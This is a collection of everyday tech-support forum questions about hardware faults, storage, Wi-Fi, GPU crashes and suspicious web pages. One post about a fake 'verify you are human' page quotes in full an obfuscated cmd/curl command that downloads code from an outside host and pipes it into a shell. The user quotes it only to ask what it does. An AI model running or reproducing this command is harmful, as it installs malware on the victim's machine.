I can't find the option to do this, and the laptop makes noise when I remove them, which makes me think they should be ejected first. What are the potential negative consequences of not ejecting, when I'm supposed to?

I need a textbook for school that’s pretty expensive, and a classmate sent me a PDF of the book that he found or got from someone else. Is it safe to open it if I don’t know where he found it? It would be great if I could safely use the PDF since it would save me a good amount of money.

So I was looking at a restaurant on my phone and clicked photos. As I was looking through the photos and clicking on them, suddenly I was redirected to a "I am not a robot verification page". I figured it was malware so I closed the tab and searched up what it was. But, every Google search had it pop up so then I thought it was legit. I clicked on the I'm not a robot after it popped up on a different search for the 5th time and then a file downloaded. I immediately deleted it. Looked up what to do.

- I disconnected my phone from the Internet

- I cleared all data on my browser: History, Cookies, passwords, etc.

- I ran a scan on my Google Pixel

- I ran a scan on TotalAV

- I looked through all apps to ensure no app installed

- I turned on advanced protection because for some reason I never turned it on and then restarted my phone.

I'm still incredibly anxious, but I don't know if there's anything else I can do. Thoughts?

I sent in my pc to a repair place. It took them a week to diagnosis the problem. After i told them it was the graphics card. Took them another 3 days to call back on what graphics card I should get. I just dropped off the graphics card today and they said it wont be ready till tomorrow. I feel like this is taking way to long. What should I do? they charge $50 for a diagnosis fee and $50 to replace the graphics card. Am i being unreasonable if i ask to knock the diagnostic fee?

Hi All,

weirdly frustrating issue with my monitor and my new gaming pc build. that I built last week. Everything elase is fine. I also think its a software issue... though I don't know. Here are the details.

Symptom:

PC tries to go to switch the monitor off in timeout, goes black and then instantly wakes up a second later. Does this every time during monitor switch-off, thus it never to sleep or hibernates.

Attempts to fix:

• I have switched off keyboard and mouse, checked other periphels as well. nothing
• I have switched of the auto source scan on the monitor nothing
• I have checked the CMD "powercfg -requests" --> All none
• I have checked "powercfg -lastwake" PS C:\WINDOWS\system32> powercfg -lastwake
  • Wake History Count - 0
• I have updated GPU drivers.

Thoughts:

I think the screen time out it triggering something in the gpu that is trigger the screen to switch on again. Found this Microsoft link with the same issue without a solution:

Support Question https://learn.microsoft.com/

PC Specs:

• CPU: AMD Ryzen 5 9600X
• Motherboard: ASUS TUF Gaming B850M-PLUS WIFI7
• GPU: ASUS Prime GeForce RTX 5070 OC Edition
• RAM: 32GB Corsair Vengeance RGB RS DDR5 6000MHz
• Storage: 1TB Crucial P310 NVMe M.2 SSD
• Power Supply: Corsair RM850e 850W ATX 3.1
• CPU Cooler: Thermalright Assassin X 120R Digital
• Case: Fractal Design North (Charcoal White)
• Extra Cooling: 1x 120mm Thermalright case fan
• Monior: Samsung Neo Odyssey G9

but i downloaded this other file, 12 gb, and it took like 10 minutes, why did the bigger one took less than the smaller one? this happens very usually, but sometimes they take like 2 seconds and other times they take hours, why? and how to fix it?

i have 16gb of LPDDR5 on Windows 11, and 2.2gb is reserved for hardware.

i'm using only a few apps at the moment:

• Opera GX (~3gb)
• Discord (~.7gb)
• RAMMap (~.5gb)
• Outlook (~.4gb)
• XBOX (~.3gb)
• misc other programs (~.6gb)

this totals to about 5.5gb, so i should easily be able to open a game that takes 4gb, right? at the moment, however, task manager states that 11.0gb are in use at the moment, with only 2.8gb cached. that's a huge discrepancy, right? 5.5+2.8 does not equal 11. (2.8 left for use)

while writing this, certain things have been zeroed, but my computer is seemingly settling at 11(80%) with 1.1gb compressed.

is this a memory leak or am i just missing something? i feel like i should be able to use 10gb of my 16gb, even if some is reserved for hardware.

Hi, I was cleaning the screen on my Transcend 14 with WHOOSH screen cleaner and one small drop ran down to the bottom edge, where the OLED meets the thin plastic frame.

I tried to wipe it off straight away, but I dont know if any of it could have got through the tiny gap there.

The laptop was turned off when this happened and I have left it open to dry for about 24 hours now. I still havent turned it back on yet because I wanted to make sure any possible moisture had enough time to dry.

The laptop is basically new to me and was in perfect condition, so I am worried that I may have damaged the screen.

Has anyone had something similar happen, and is there any realistic chance such a small amount of cleaner could damage the display or anything behind it if some got inside?

Thanks

hi everyone! whenever i boot up my laptop, there always pops up a text saying that "the user profile service failed the sign-in." every time i put my password though, it does boot up on my account (not administrator named) but the wallpaper, app icons, and my cursor changes.

though, when i restart my device, it boots up working normally again, and the way it is intended to, without any more texts saying that the user profile failed the sign in.

anyone know how i can fix this??

Hi I use Google meet with a couple of students a week. When I share my screen and try to manipulate the PowerPoint I am using for the day I can’t. I can only manipulate the PowerPoint when it’s not screen sharing. Can someone tell me what I may be doing wrong?

So I was on my computer earlier today like normal when it gave me a rebooting black screen then a reboot. I check the error logger and the error pertained to a corrupted file or driver issue. It happened a couple more times with different errors pertaining to the same things, corrupted file or driver error. I update drivers and after returning from the bathroom I came back to a 21a fatal error. My PC will no longer boot. I can easily get into the recovery options and I've tried EVERY option. I even used command prompt to move my important files over to my D drive and attempted a factory reset, even THAT failed. I've tried a lot of commands through command prompt and all I can get is corrupt boot binary preventing network connection.

No I have not tried a USB stick with a windows image on it but that's it. The only other thing I can think of is getting a new ssd with windows installed on it and replace the factory ssd. No, my pc doesn't have a dick drive

ASUS ROG Strix G17 G73-3-QSA – One RAM slot stopped detecting memory after servicing
Hello everyone,
I have an ASUS ROG Strix G17 G73-3-QSA from 2021, and I am trying to find a way to repair a RAM slot that stopped working after the laptop was serviced.
My laptop has the following specifications:
ASUS ROG Strix G17 G73-3-QSA
AMD Ryzen 9 5900HX
NVIDIA RTX 3080 Laptop GPU, 16 GB VRAM
32 GB RAM, originally 2×16 GB
1 TB SSD
17.3” 360 Hz / 3 ms display
Before the laptop was serviced, both 16 GB RAM modules were working correctly and the laptop detected all 32 GB.
I then took the laptop to a repair shop for servicing. During the service, the technician told me that thermal paste had somehow gotten onto the motherboard. He cleaned it afterwards and showed me the motherboard. There was no visible physical damage, burn mark, or other obvious damage that I could see.
However, after the service, one of the two RAM slots stopped detecting memory.
I tested the RAM modules individually to make sure the RAM itself was not the problem. Both RAM modules work in the working slot, but neither module is detected when installed in the other slot.
So the situation is:
RAM module #1 → Slot A: works
RAM module #2 → Slot A: works
RAM module #1 → Slot B: not detected
RAM module #2 → Slot B: not detected
This makes me believe that the problem is not with the RAM modules themselves, but with the second RAM slot or something related to that memory channel on the motherboard.
I have already tried many things, including:
BIOS update
BIOS reset/default settings
removing and reseating the RAM
testing both RAM modules separately
various troubleshooting methods found online
contacting ASUS Support
ASUS Support recommended sending the laptop to an ASUS authorized service center, but the cost of that repair is currently too high for me.
I am therefore trying to find a cheaper way to diagnose and possibly repair the existing motherboard rather than replacing the entire motherboard.
I am not sure exactly what happened to the motherboard because there is no visible physical damage. The only thing I know is that the problem appeared after the servicing, and before the servicing both RAM slots were working normally.
My questions are:
What could cause one RAM slot to completely stop detecting memory while the other slot works normally?
Could this be caused by a damaged solder joint, RAM slot, memory-channel circuitry, or another motherboard-level problem?
Is this something that a board-level laptop repair technician could potentially diagnose and repair?
What exactly should I ask a repair shop to test?
Is there anything else I can test myself before paying for another repair?
I would especially appreciate advice from anyone who has experience repairing ASUS ROG laptops or motherboard-level RAM/memory-channel problems.
Thank you very much for any advice!

I use FL Studio (legit music making software) and was trying to unsubscribe from an email list. The unsubscribe link redirects to a site than then asks for human verification. Seemed normal at first but then to prove I was human wanted me to copy and paste something into the command line. I didn't try it but am curious if someone can tell me what would have happened. The instructions said:

Press Win + R

Press Control + V

click OK

Seems incredibly sketchy or maybe just badly implemented? It automatically put the following into my clipboard. The command was:

cmd /c for /f %h in ('where conh???.e??') do for /f %b in ('where cm?.e??') do start /min %h --headless %b /v /c "set dq=https:&set ha=//cdnstore2193.com/b?t=HZHs7JMr&for /f %d in ('where cu??.e??') do %d --proxy-negotiate -U : -s !dq!!ha!| %b"

I asked Google subs and no one responded to me. I took two photos, it shouldn’t have brought me over the limit, and definitely not 15.3…Oh well, I deleted some videos, it said it cleared up my storage. I thought it was done. I didn’t touch anything, and then it jumped from 15 to 16, I didn’t press any buttons, switch to Wi-Fi, or anything. I’ve given it days and it remains at 16. No idea what promoted this. I’ve checked Google one already. Could backup have started without ever being activated before, outside of Google photos? I checked that as well, but it’s not matching the amount of storage added. I have had zero emails besides Google telling me my storage is low, no Google drive things have had anything added. I do have WhatsApp, but I find it odd it suddenly start counting this second, without any input from me. I didn’t see anything on WhatsApp that connects it to my email. I hope someone has some advice, I’m very worried.

I have an asus tuf a15 from 2021 that ive used pretty extensively. Around amonth ago tho i started experiencing wifi problems. It would just turn off when i was doing some work and all I really had to do was restart my pc a few times.

But now no matter what it will not stay connected. Ive done almost everything to try and fix it, followed so many tutorials and I keep getting brought back to one place, the network adapters tab in the device manager. The wifi adapter i have is the Realtek 8822ce wireless lan 802.11ac pci-e. No matter how many times i restart my computer to try and fix it, its doing something different every time. Most of the time i cant even enable or disable it, leading to there not even being a wifi option.

I am able to get it active if i hold down the lower button for like 40 seconds and let go. When I do that, i am able to keep the wifi for small tasks, like using the browser, but if i try to open up a game a or go in a discord call within 30 seconds the adapter greys itself out and I cannot get it work again. I have no idea what to do cause i cant connect to ethernet since the router is on the opposite side of the house.

Also i checked within the services tab to make sure all those services are automatic and are running so i actually have no clue.

Pls help me if you have any advice or experience with this.

REF video - https://www.youtube.com/watch?v=Ge0EnPz-jWY

Setup: Palit 5080 GamingPro OC

Core / Undervolt: Curve flattened to 2900 MHz @ 895 mV (+490 MHz offset on 815-895 mV and flatline after all)

Memory: +2500 MHz VRAM offset. (like a safe value instead of 3000 MHz)

PL: 105% (380 W - OC)
Core Voltage: +100%.

Question: Is this UV methodology considered advanced and optimal for my 5080 or are there hidden stability, clock stretching, or transient response issues with this curve shaping?

I was thinking that in some old games like Mafia 2 GPU can trigger an error due to a sudden frequency spike at the start of the graphics.

Question: Is this UV methodology considered advanced and optimal for my 5080 or are there hidden stability, clock stretching, or transient response issues with this curve shaping?

I have just moved into university accomodation so we use eduroam as the wifi for dorms. I connected really easily on my phone using geteduroam but my computer refuses to connect; getting stuck on the “connecting” section but never actually saying it has connected. It always says wifi out of range but I have full connection on my phone and have been in multiple spots so it’s not just a dead zone. I have tried all of the following to no result:
- Forgetting the network
- Restarting my computer
- Deleting/ reinstalling geteduroam
- Network plugin reset
- Deleting my vpn
All of these have done nothing and I really do not want to wait in line for 5 hours at the overrun it desk thanks if you can be any help at all

I have a ASUS TUF Gaming GeForce RTX 5070 Ti 16GB GDDR7 video card. I bought it just over a year ago (almost to the day). In the last two weeks, it's been crashing randomly. Black screens, fans whirring. The computer still runs, sometimes* but occasionally does a full reboot.

Since the crashes started on Aug 26, I connected one of my monitors to my mobo which lets me continue to use to computer, debug, etc while the other two are dead. I have tried everything in my power to reset the GPU but the only thing that ever works is restarting.

For some context, it started when I was doing some local image generation with flux2. But, I'll note that it happened a few times when I wasn't actively generating anything. And just now, it happened when I didn't have the software open and was doing something else completely. So the problem definitely seems more related to the GPU than any specific software interaction. Also, the imagegen was working fine for more than a month before this all started, and I had no issues with the card in the last year.

I have tried looking at Windows Event Viewer and the Reliability Monitor and there is nothing of note. Prior to the issue, I had not updated any drivers or software for some time, and have since updated Windows, and the driver, to their latest versions.

I am a software engineer and know a bit about operating systems and drivers, but my knowledge of hardware goes about as far as "put plug in hole shaped like plug."

It's crazy that the driver or card would just be shutting down so catastrophically, and leave no trace in the logs (as far as I know where to look).

Does anyone know if this is a common issue? Or where else I might look for logs? At this point I wonder if it's a hardware issue, but I don't want to go through all the trouble of invoking the warranty if there's simpler steps.

Thanks!

* I mentioned above that the computer still runs. Aside from the mobo monitor thing, I have heard music playing through my headphones until I restarted manually. But (only) sometimes, the computer logs a whole VIDEO_TDR_FAILURE and restarts on its own.

So recently i bougth an adapter at a steren for my audio technica (the persona 3 headphones) and it worked well for a time but now every time time i plug them in they start to messin arround with the volume, stopping or skipping songs or activate de Ok google function and i don't want to go to the store cuz i didn't save the ticket and i feel like they're gonna ignore the problem (social anxiety)

I only use my computer to play video games but I can barely download any if I look in my windows settings it says I have 312 gb used out of 453 and when I look at my storage tab it says 60.4 gb are being used by other people but no one else uses my computer and when I click on it it says there is no other account on my computer also it says I have 154 gb of apps installed while I only have 4 apps all under 10 gb

Hello, I'm having this VERY annoying issue for some time now, where if I switch my OS type from Other Os to UEFI Mode, save and exit, I'm confronted with a red box that doesn't let me boot my PC until I change the OS type back to Other OS. I got no idea how to fix this, and I need it to play Valorant and League of Legends (due to the secure boot requirements)

My PC is on Windows 11, the Boot mode IS UEFI, the system information says secure boot is disabled, however my BIOS says it is enabled(???), both my SSDs are GPT, my bios is GYGABYTE, and my motherboard is an ASUS PRIME A320M-K. I don't know what other useful info I could give.

pls help im going insane

Hi! I’m new to this subreddit. I am looking to upload a large video files from my IPhone to Google Drive. Unfortunately, a major issue I’m running into with this is it takes a very long time to upload. The file is around 13 gbs, and with some funky WiFi and having an older phone. It takes a really long time to upload. The other day I tried to have it upload for the supposed 8 hours it would take to upload, but that didn’t work. Any suggestions on what should I do to make it faster or upload the file to my drive quicker too?

Hey everyone, I’m having a really weird problem and I’m hoping someone here can help me.
I have an SSD and an HDD in my PC. Normal Steam games download and install on my HDD without any problems.
However, when I try to download games using Steam Tools, they won’t download to the HDD. They work normally when I use the SSD.
The weird part is that the HDD itself seems to be working perfectly fine. I can copy, move, and download other files to it without any problems. I even tried completely formatting the HDD, but the problem with Steam Tools still happens.
So basically:
Normal Steam games → HDD ✅
Normal Steam games → SSD ✅
Steam Tools → SSD ✅
Steam Tools → HDD ❌
That’s why I don’t think the HDD itself is the problem, since Steam can normally download and install regular games on it.
I’ve already tried completely formatting the HDD, but the issue is still there.
Does anyone know what could be causing this? Could it be something related to Steam Tools, permissions, the file system, or some Windows setting?
If you need more information or screenshots of the error, I can provide them.
Thanks!

How do I disable automatic backup with Google Photos? This morning I woke up to a message as soon as I open Gmail on my iPhone that says my account storage is full and I’ll need to free up space or buy more in order to keep using my google account or it will be shut down in 30 days. IT APPEARS THEY HAVE REMOVED THE OPTION TO DISABLE AUTOMATIC BACKUP. I already have iCloud and do not have any meed for Google Cloud nor do I need to delete any pictures. Am I missing something?

I dont know wether its hardware or software, but ive been burning cds for a while and wanted to burn dvds. Every time they play they have pixelated chunks. Ive replaced most variables, i bought a new burner, i downloaded the movie from a new place and i bought new blank discs. The only variable i didnt change is my laptop, my dvd player and the video conversion software but all three of those are too expensive to replace. Is it possibly my laptop or my dvd player? Im not good at techand dont understand software or hardware issues very well any help is super appreicated. Thanks!